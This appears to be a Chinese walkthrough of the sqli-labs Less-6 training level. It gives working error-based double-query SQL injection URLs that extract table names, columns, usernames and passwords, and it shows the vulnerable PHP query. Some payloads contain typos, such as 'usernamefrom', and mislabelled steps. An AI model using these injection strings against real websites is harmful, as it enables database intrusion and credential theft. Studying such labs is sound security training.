第 6 关跟第 5 关一样,只不过是单引号换成了双引号而已

Sqlilabs-6

构造 ID 后,显示的内容为:You are in…
http://sqlilabs/Less-6/?id=1 回显正常
http://sqlilabs/Less-6/?id=1' 回显正常
http://sqlilabs/Less-6/?id=1" 回显正常
http://sqlilabs/Less-6/?id=1"--+ 回显正常

因为正常时返回的内容为 You are in…无法从返回结果得到信息,跟 1 - 4 关不一样的地方就在此,可以利用上述上查询报错得到我们想要的,初步构造
http://sqlilabs/Less-6/?id=1" order by 3--+ 回显正常
http://sqlilabs/Less-6/?id=1" order by 4--+ 回显错误

爆数据库名:
http://sqlilabs/Less-6/?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand()*2))a from information_schema.tables group by a--+
刷新几次得到报错,这里还需要添加 limit 函数,否则会说返回的结果大于 1 行,一次次试即可得到结果

爆数据库表:[同样更改 limit 取值,一个个尝试]
http://sqlilabs/Less-6/?id=-1" union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 2,1),floor(rand()*2))a from information_schema.tables group by a--+

爆数据库字段:[同上]
http://sqlilabs/Less-6/?id=-1" union select 1,count(*),concat((select usernamefrom users limit 0,1),floor(rand()*2))a from information_schema.tables group by a--+
http://sqlilabs/Less-6/?id=-1" union select 1,count(*),concat((select password from users limit 0,1),floor(rand()*2))a from information_schema.tables group by a--+
一个个改造,得到一个用户名转而去获取对应密码,直到得到全部用户名和密码

源码为:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

Sqlilabs-6

????

相关文章:

  • 2021-05-29
  • 2022-01-20
  • 2021-11-03
  • 2021-04-04
  • 2021-04-13
  • 2021-09-02
  • 2021-10-24
  • 2022-01-20
猜你喜欢
  • 2021-12-14
  • 2021-06-16
  • 2021-05-11
  • 2021-08-10
  • 2022-01-22
  • 2021-11-13
  • 2021-11-12
相关资源
相似解决方案